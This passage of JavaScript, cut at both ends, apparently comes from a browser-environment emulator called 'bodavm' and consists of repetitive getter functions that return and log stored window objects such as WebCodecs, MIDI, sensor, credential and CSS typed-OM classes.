bodavm.memory.globalobj['PublicKeyCredential']; console.log_copy(`window_PublicKeyCredential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AuthenticatorResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorResponse']; console.log_copy(`window_AuthenticatorResponse`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AuthenticatorAttestationResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorAttestationResponse']; console.log_copy(`window_AuthenticatorAttestationResponse`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AuthenticatorAssertionResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorAssertionResponse']; console.log_copy(`window_AuthenticatorAssertionResponse`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoEncoder = function () { let arg = bodavm.memory.globalobj['VideoEncoder']; console.log_copy(`window_VideoEncoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoDecoder = function () { let arg = bodavm.memory.globalobj['VideoDecoder']; console.log_copy(`window_VideoDecoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageDecoder = function () { let arg = bodavm.memory.globalobj['ImageDecoder']; console.log_copy(`window_ImageDecoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioEncoder = function () { let arg = bodavm.memory.globalobj['AudioEncoder']; console.log_copy(`window_AudioEncoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioDecoder = function () { let arg = bodavm.memory.globalobj['AudioDecoder']; console.log_copy(`window_AudioDecoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoFrame = function () { let arg = bodavm.memory.globalobj['VideoFrame']; console.log_copy(`window_VideoFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoColorSpace = function () { let arg = bodavm.memory.globalobj['VideoColorSpace']; console.log_copy(`window_VideoColorSpace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageTrackList = function () { let arg = bodavm.memory.globalobj['ImageTrackList']; console.log_copy(`window_ImageTrackList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageTrack = function () { let arg = bodavm.memory.globalobj['ImageTrack']; console.log_copy(`window_ImageTrack`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EncodedVideoChunk = function () { let arg = bodavm.memory.globalobj['EncodedVideoChunk']; console.log_copy(`window_EncodedVideoChunk`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EncodedAudioChunk = function () { let arg = bodavm.memory.globalobj['EncodedAudioChunk']; console.log_copy(`window_EncodedAudioChunk`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioData = function () { let arg = bodavm.memory.globalobj['AudioData']; console.log_copy(`window_AudioData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRWebGLBinding = function () { let arg = bodavm.memory.globalobj['XRWebGLBinding']; console.log_copy(`window_XRWebGLBinding`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRLayer = function () { let arg = bodavm.memory.globalobj['XRLayer']; console.log_copy(`window_XRLayer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRDOMOverlayState = function () { let arg = bodavm.memory.globalobj['XRDOMOverlayState']; console.log_copy(`window_XRDOMOverlayState`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Worklet = function () { let arg = bodavm.memory.globalobj['Worklet']; console.log_copy(`window_Worklet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SubtleCrypto = function () { let arg = bodavm.memory.globalobj['SubtleCrypto']; console.log_copy(`window_SubtleCrypto`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StorageManager = function () { let arg = bodavm.memory.globalobj['StorageManager']; console.log_copy(`window_StorageManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ServiceWorkerRegistration = function () { let arg = bodavm.memory.globalobj['ServiceWorkerRegistration']; console.log_copy(`window_ServiceWorkerRegistration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ServiceWorkerContainer = function () { let arg = bodavm.memory.globalobj['ServiceWorkerContainer']; console.log_copy(`window_ServiceWorkerContainer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ServiceWorker = function () { let arg = bodavm.memory.globalobj['ServiceWorker']; console.log_copy(`window_ServiceWorker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SensorErrorEvent = function () { let arg = bodavm.memory.globalobj['SensorErrorEvent']; console.log_copy(`window_SensorErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Sensor = function () { let arg = bodavm.memory.globalobj['Sensor']; console.log_copy(`window_Sensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RelativeOrientationSensor = function () { let arg = bodavm.memory.globalobj['RelativeOrientationSensor']; console.log_copy(`window_RelativeOrientationSensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCIceTransport = function () { let arg = bodavm.memory.globalobj['RTCIceTransport']; console.log_copy(`window_RTCIceTransport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PasswordCredential = function () { let arg = bodavm.memory.globalobj['PasswordCredential']; console.log_copy(`window_PasswordCredential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OrientationSensor = function () { let arg = bodavm.memory.globalobj['OrientationSensor']; console.log_copy(`window_OrientationSensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigatorManagedData = function () { let arg = bodavm.memory.globalobj['NavigatorManagedData']; console.log_copy(`window_NavigatorManagedData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationPreloadManager = function () { let arg = bodavm.memory.globalobj['NavigationPreloadManager']; console.log_copy(`window_NavigationPreloadManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeys = function () { let arg = bodavm.memory.globalobj['MediaKeys']; console.log_copy(`window_MediaKeys`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeySystemAccess = function () { let arg = bodavm.memory.globalobj['MediaKeySystemAccess']; console.log_copy(`window_MediaKeySystemAccess`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeyStatusMap = function () { let arg = bodavm.memory.globalobj['MediaKeyStatusMap']; console.log_copy(`window_MediaKeyStatusMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeySession = function () { let arg = bodavm.memory.globalobj['MediaKeySession']; console.log_copy(`window_MediaKeySession`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeyMessageEvent = function () { let arg = bodavm.memory.globalobj['MediaKeyMessageEvent']; console.log_copy(`window_MediaKeyMessageEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaDevices = function () { let arg = bodavm.memory.globalobj['MediaDevices']; console.log_copy(`window_MediaDevices`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaDeviceInfo = function () { let arg = bodavm.memory.globalobj['MediaDeviceInfo']; console.log_copy(`window_MediaDeviceInfo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIPort = function () { let arg = bodavm.memory.globalobj['MIDIPort']; console.log_copy(`window_MIDIPort`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIOutputMap = function () { let arg = bodavm.memory.globalobj['MIDIOutputMap']; console.log_copy(`window_MIDIOutputMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIOutput = function () { let arg = bodavm.memory.globalobj['MIDIOutput']; console.log_copy(`window_MIDIOutput`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIMessageEvent = function () { let arg = bodavm.memory.globalobj['MIDIMessageEvent']; console.log_copy(`window_MIDIMessageEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIInputMap = function () { let arg = bodavm.memory.globalobj['MIDIInputMap']; console.log_copy(`window_MIDIInputMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIInput = function () { let arg = bodavm.memory.globalobj['MIDIInput']; console.log_copy(`window_MIDIInput`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIConnectionEvent = function () { let arg = bodavm.memory.globalobj['MIDIConnectionEvent']; console.log_copy(`window_MIDIConnectionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIAccess = function () { let arg = bodavm.memory.globalobj['MIDIAccess']; console.log_copy(`window_MIDIAccess`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LockManager = function () { let arg = bodavm.memory.globalobj['LockManager']; console.log_copy(`window_LockManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Lock = function () { let arg = bodavm.memory.globalobj['Lock']; console.log_copy(`window_Lock`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LinearAccelerationSensor = function () { let arg = bodavm.memory.globalobj['LinearAccelerationSensor']; console.log_copy(`window_LinearAccelerationSensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_KeyboardLayoutMap = function () { let arg = bodavm.memory.globalobj['KeyboardLayoutMap']; console.log_copy(`window_KeyboardLayoutMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Keyboard = function () { let arg = bodavm.memory.globalobj['Keyboard']; console.log_copy(`window_Keyboard`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Gyroscope = function () { let arg = bodavm.memory.globalobj['Gyroscope']; console.log_copy(`window_Gyroscope`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FederatedCredential = function () { let arg = bodavm.memory.globalobj['FederatedCredential']; console.log_copy(`window_FederatedCredential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DeviceOrientationEvent = function () { let arg = bodavm.memory.globalobj['DeviceOrientationEvent']; console.log_copy(`window_DeviceOrientationEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DeviceMotionEventRotationRate = function () { let arg = bodavm.memory.globalobj['DeviceMotionEventRotationRate']; console.log_copy(`window_DeviceMotionEventRotationRate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DeviceMotionEventAcceleration = function () { let arg = bodavm.memory.globalobj['DeviceMotionEventAcceleration']; console.log_copy(`window_DeviceMotionEventAcceleration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DeviceMotionEvent = function () { let arg = bodavm.memory.globalobj['DeviceMotionEvent']; console.log_copy(`window_DeviceMotionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CryptoKey = function () { let arg = bodavm.memory.globalobj['CryptoKey']; console.log_copy(`window_CryptoKey`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CredentialsContainer = function () { let arg = bodavm.memory.globalobj['CredentialsContainer']; console.log_copy(`window_CredentialsContainer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Credential = function () { let arg = bodavm.memory.globalobj['Credential']; console.log_copy(`window_Credential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CookieStoreManager = function () { let arg = bodavm.memory.globalobj['CookieStoreManager']; console.log_copy(`window_CookieStoreManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CookieChangeEvent = function () { let arg = bodavm.memory.globalobj['CookieChangeEvent']; console.log_copy(`window_CookieChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ClipboardItem = function () { let arg = bodavm.memory.globalobj['ClipboardItem']; console.log_copy(`window_ClipboardItem`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Clipboard = function () { let arg = bodavm.memory.globalobj['Clipboard']; console.log_copy(`window_Clipboard`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Cache = function () { let arg = bodavm.memory.globalobj['Cache']; console.log_copy(`window_Cache`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioWorklet = function () { let arg = bodavm.memory.globalobj['AudioWorklet']; console.log_copy(`window_AudioWorklet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Accelerometer = function () { let arg = bodavm.memory.globalobj['Accelerometer']; console.log_copy(`window_Accelerometer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AbsoluteOrientationSensor = function () { let arg = bodavm.memory.globalobj['AbsoluteOrientationSensor']; console.log_copy(`window_AbsoluteOrientationSensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitRequestAnimationFrame = function () { let arg = bodavm.memory.globalobj['webkitRequestAnimationFrame']; console.log_copy(`window_webkitRequestAnimationFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitCancelAnimationFrame = function () { let arg = bodavm.memory.globalobj['webkitCancelAnimationFrame']; console.log_copy(`window_webkitCancelAnimationFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_structuredClone = function () { let arg = bodavm.memory.globalobj['structuredClone']; console.log_copy(`window_structuredClone`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_stop = function () { let arg = bodavm.memory.globalobj['stop']; console.log_copy(`window_stop`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_scrollTo = function () { let arg = bodavm.memory.globalobj['scrollTo']; console.log_copy(`window_scrollTo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_scrollBy = function () { let arg = bodavm.memory.globalobj['scrollBy']; console.log_copy(`window_scrollBy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_scroll = function () { let arg = bodavm.memory.globalobj['scroll']; console.log_copy(`window_scroll`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_resizeTo = function () { let arg = bodavm.memory.globalobj['resizeTo']; console.log_copy(`window_resizeTo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_resizeBy = function () { let arg = bodavm.memory.globalobj['resizeBy']; console.log_copy(`window_resizeBy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_requestIdleCallback = function () { let arg = bodavm.memory.globalobj['requestIdleCallback']; console.log_copy(`window_requestIdleCallback`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_requestAnimationFrame = function () { let arg = bodavm.memory.globalobj['requestAnimationFrame']; console.log_copy(`window_requestAnimationFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_reportError = function () { let arg = bodavm.memory.globalobj['reportError']; console.log_copy(`window_reportError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_releaseEvents = function () { let arg = bodavm.memory.globalobj['releaseEvents']; console.log_copy(`window_releaseEvents`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_queueMicrotask = function () { let arg = bodavm.memory.globalobj['queueMicrotask']; console.log_copy(`window_queueMicrotask`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_prompt = function () { let arg = bodavm.memory.globalobj['prompt']; console.log_copy(`window_prompt`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_print = function () { let arg = bodavm.memory.globalobj['print']; console.log_copy(`window_print`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_postMessage = function () { let arg = bodavm.memory.globalobj['postMessage']; console.log_copy(`window_postMessage`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_open = function () { let arg = bodavm.memory.globalobj['open']; console.log_copy(`window_open`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_moveTo = function () { let arg = bodavm.memory.globalobj['moveTo']; console.log_copy(`window_moveTo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_moveBy = function () { let arg = bodavm.memory.globalobj['moveBy']; console.log_copy(`window_moveBy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getSelection = function () { let arg = bodavm.memory.globalobj['getSelection']; console.log_copy(`window_getSelection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getComputedStyle = function () { let arg = bodavm.memory.globalobj['getComputedStyle']; console.log_copy(`window_getComputedStyle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_focus = function () { let arg = bodavm.memory.globalobj['focus']; console.log_copy(`window_focus`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_find = function () { let arg = bodavm.memory.globalobj['find']; console.log_copy(`window_find`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_fetch = function () { let arg = bodavm.memory.globalobj['fetch']; console.log_copy(`window_fetch`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_createImageBitmap = function () { let arg = bodavm.memory.globalobj['createImageBitmap']; console.log_copy(`window_createImageBitmap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_confirm = function () { let arg = bodavm.memory.globalobj['confirm']; console.log_copy(`window_confirm`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_close = function () { let arg = bodavm.memory.globalobj['close']; console.log_copy(`window_close`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_clearTimeout = function () { let arg = bodavm.memory.globalobj['clearTimeout']; console.log_copy(`window_clearTimeout`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_clearInterval = function () { let arg = bodavm.memory.globalobj['clearInterval']; console.log_copy(`window_clearInterval`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_captureEvents = function () { let arg = bodavm.memory.globalobj['captureEvents']; console.log_copy(`window_captureEvents`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_cancelIdleCallback = function () { let arg = bodavm.memory.globalobj['cancelIdleCallback']; console.log_copy(`window_cancelIdleCallback`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_cancelAnimationFrame = function () { let arg = bodavm.memory.globalobj['cancelAnimationFrame']; console.log_copy(`window_cancelAnimationFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AbortController = function () { let arg = bodavm.memory.globalobj['AbortController']; console.log_copy(`window_AbortController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AbortSignal = function () { let arg = bodavm.memory.globalobj['AbortSignal']; console.log_copy(`window_AbortSignal`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AbstractRange = function () { let arg = bodavm.memory.globalobj['AbstractRange']; console.log_copy(`window_AbstractRange`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnalyserNode = function () { let arg = bodavm.memory.globalobj['AnalyserNode']; console.log_copy(`window_AnalyserNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Animation = function () { let arg = bodavm.memory.globalobj['Animation']; console.log_copy(`window_Animation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnimationEffect = function () { let arg = bodavm.memory.globalobj['AnimationEffect']; console.log_copy(`window_AnimationEffect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnimationEvent = function () { let arg = bodavm.memory.globalobj['AnimationEvent']; console.log_copy(`window_AnimationEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Attr = function () { let arg = bodavm.memory.globalobj['Attr']; console.log_copy(`window_Attr`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioBuffer = function () { let arg = bodavm.memory.globalobj['AudioBuffer']; console.log_copy(`window_AudioBuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioBufferSourceNode = function () { let arg = bodavm.memory.globalobj['AudioBufferSourceNode']; console.log_copy(`window_AudioBufferSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioContext = function () { let arg = bodavm.memory.globalobj['AudioContext']; console.log_copy(`window_AudioContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioDestinationNode = function () { let arg = bodavm.memory.globalobj['AudioDestinationNode']; console.log_copy(`window_AudioDestinationNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioListener = function () { let arg = bodavm.memory.globalobj['AudioListener']; console.log_copy(`window_AudioListener`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioNode = function () { let arg = bodavm.memory.globalobj['AudioNode']; console.log_copy(`window_AudioNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioParam = function () { let arg = bodavm.memory.globalobj['AudioParam']; console.log_copy(`window_AudioParam`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioParamMap = function () { let arg = bodavm.memory.globalobj['AudioParamMap']; console.log_copy(`window_AudioParamMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioProcessingEvent = function () { let arg = bodavm.memory.globalobj['AudioProcessingEvent']; console.log_copy(`window_AudioProcessingEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioScheduledSourceNode = function () { let arg = bodavm.memory.globalobj['AudioScheduledSourceNode']; console.log_copy(`window_AudioScheduledSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioWorkletNode = function () { let arg = bodavm.memory.globalobj['AudioWorkletNode']; console.log_copy(`window_AudioWorkletNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BaseAudioContext = function () { let arg = bodavm.memory.globalobj['BaseAudioContext']; console.log_copy(`window_BaseAudioContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BatteryManager = function () { let arg = bodavm.memory.globalobj['BatteryManager']; console.log_copy(`window_BatteryManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BeforeInstallPromptEvent = function () { let arg = bodavm.memory.globalobj['BeforeInstallPromptEvent']; console.log_copy(`window_BeforeInstallPromptEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BeforeUnloadEvent = function () { let arg = bodavm.memory.globalobj['BeforeUnloadEvent']; console.log_copy(`window_BeforeUnloadEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BiquadFilterNode = function () { let arg = bodavm.memory.globalobj['BiquadFilterNode']; console.log_copy(`window_BiquadFilterNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Blob = function () { let arg = bodavm.memory.globalobj['Blob']; console.log_copy(`window_Blob`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BlobEvent = function () { let arg = bodavm.memory.globalobj['BlobEvent']; console.log_copy(`window_BlobEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BroadcastChannel = function () { let arg = bodavm.memory.globalobj['BroadcastChannel']; console.log_copy(`window_BroadcastChannel`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ByteLengthQueuingStrategy = function () { let arg = bodavm.memory.globalobj['ByteLengthQueuingStrategy']; console.log_copy(`window_ByteLengthQueuingStrategy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CDATASection = function () { let arg = bodavm.memory.globalobj['CDATASection']; console.log_copy(`window_CDATASection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSConditionRule = function () { let arg = bodavm.memory.globalobj['CSSConditionRule']; console.log_copy(`window_CSSConditionRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSCounterStyleRule = function () { let arg = bodavm.memory.globalobj['CSSCounterStyleRule']; console.log_copy(`window_CSSCounterStyleRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSFontFaceRule = function () { let arg = bodavm.memory.globalobj['CSSFontFaceRule']; console.log_copy(`window_CSSFontFaceRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSGroupingRule = function () { let arg = bodavm.memory.globalobj['CSSGroupingRule']; console.log_copy(`window_CSSGroupingRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSImageValue = function () { let arg = bodavm.memory.globalobj['CSSImageValue']; console.log_copy(`window_CSSImageValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSImportRule = function () { let arg = bodavm.memory.globalobj['CSSImportRule']; console.log_copy(`window_CSSImportRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSKeyframeRule = function () { let arg = bodavm.memory.globalobj['CSSKeyframeRule']; console.log_copy(`window_CSSKeyframeRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSKeyframesRule = function () { let arg = bodavm.memory.globalobj['CSSKeyframesRule']; console.log_copy(`window_CSSKeyframesRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSKeywordValue = function () { let arg = bodavm.memory.globalobj['CSSKeywordValue']; console.log_copy(`window_CSSKeywordValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSLayerBlockRule = function () { let arg = bodavm.memory.globalobj['CSSLayerBlockRule']; console.log_copy(`window_CSSLayerBlockRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSLayerStatementRule = function () { let arg = bodavm.memory.globalobj['CSSLayerStatementRule']; console.log_copy(`window_CSSLayerStatementRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathClamp = function () { let arg = bodavm.memory.globalobj['CSSMathClamp']; console.log_copy(`window_CSSMathClamp`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathInvert = function () { let arg = bodavm.memory.globalobj['CSSMathInvert']; console.log_copy(`window_CSSMathInvert`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathMax = function () { let arg = bodavm.memory.globalobj['CSSMathMax']; console.log_copy(`window_CSSMathMax`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathMin = function () { let arg = bodavm.memory.globalobj['CSSMathMin']; console.log_copy(`window_CSSMathMin`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathNegate = function () { let arg = bodavm.memory.globalobj['CSSMathNegate']; console.log_copy(`window_CSSMathNegate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathProduct = function () { let arg = bodavm.memory.globalobj['CSSMathProduct']; console.log_copy(`window_CSSMathProduct`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathSum = function () { let arg = bodavm.memory.globalobj['CSSMathSum']; console.log_copy(`window_CSSMathSum`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathValue = function () { let arg = bodavm.memory.globalobj['CSSMathValue']; console.log_copy(`window_CSSMathValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMatrixComponent = function () { let arg = bodavm.memory.globalobj['CSSMatrixComponent']; console.log_copy(`window_CSSMatrixComponent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMediaRule = function () { let arg = bodavm.memory.globalobj['CSSMediaRule']; console.log_copy(`window_CSSMediaRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSNamespaceRule = function () { let arg = bodavm.memory.globalobj['CSSNamespaceRule']; console.log_copy(`window_CSSNamespaceRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSNumericArray = function () { let arg = bodavm.memory.globalobj['CSSNumericArray']; console.log_copy(`window_CSSNumericArray`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSNumericValue = function () { let arg = bodavm.memory.globalobj['CSSNumericValue']; console.log_copy(`window_CSSNumericValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSPageRule = function () { let arg = bodavm.memory.globalobj['CSSPageRule']; console.log_copy(`window_CSSPageRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSPerspective = function () { let arg = bodavm.memory.globalobj['CSSPerspective']; console.log_copy(`window_CSSPerspective`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSPositionValue = function () { let arg = bodavm.memory.globalobj['CSSPositionValue']; console.log_copy(`window_CSSPositionValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSPropertyRule = function () { let arg = bodavm.memory.globalobj['CSSPropertyRule']; console.log_copy(`window_CSSPropertyRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSRotate = function () { let arg = bodavm.memory.globalobj['CSSRotate']; console.log_copy(`window_CSSRotate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSRule = function () { let arg = bodavm.memory.globalobj['CSSRule']; console.log_copy(`window_CSSRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSRuleList = function () { let arg = bodavm.memory.globalobj['CSSRuleList']; console.log_copy(`window_CSSRuleList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSScale = function () { let arg = bodavm.memory.globalobj['CSSScale']; console.log_copy(`window_CSSScale`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSSkew = function () { let arg = bodavm.memory.globalobj['CSSSkew']; console.log_copy(`window_CSSSkew`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSSkewX = function () { let arg = bodavm.memory.globalobj['CSSSkewX']; console.log_copy(`window_CSSSkewX`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSSkewY = function () { let arg = bodavm.memory.globalobj['CSSSkewY']; console.log_copy(`window_CSSSkewY`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSStyleDeclaration = function () { let arg = bodavm.memory.globalobj['CSSStyleDeclaration']; console.log_copy(`window_CSSStyleDeclaration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSStyleRule = function () { let arg = bodavm.memory.globalobj['CSSStyleRule']; console.log_copy(`window_CSSStyleRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSStyleSheet = function () { let arg = bodavm.memory.globalobj['CSSStyleSheet']; console.log_copy(`window_CSSStyleSheet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSStyleValue = function () { let arg = bodavm.memory.globalobj['CSSStyleValue']; console.log_copy(`window_CSSStyleValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSSupportsRule = function () { let arg = bodavm.memory.globalobj['CSSSupportsRule']; console.log_copy(`window_CSSSupportsRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSTransformComponent = function () { let arg = bodavm.memory.globalobj['CSSTransformComponent']; console.log_copy(`window_CSSTransformComponent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSTransformValue = function () { let arg = bodavm.memory.globalobj['CSSTransformValue']; console.log_copy(`window_CSSTransformValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSTranslate = function 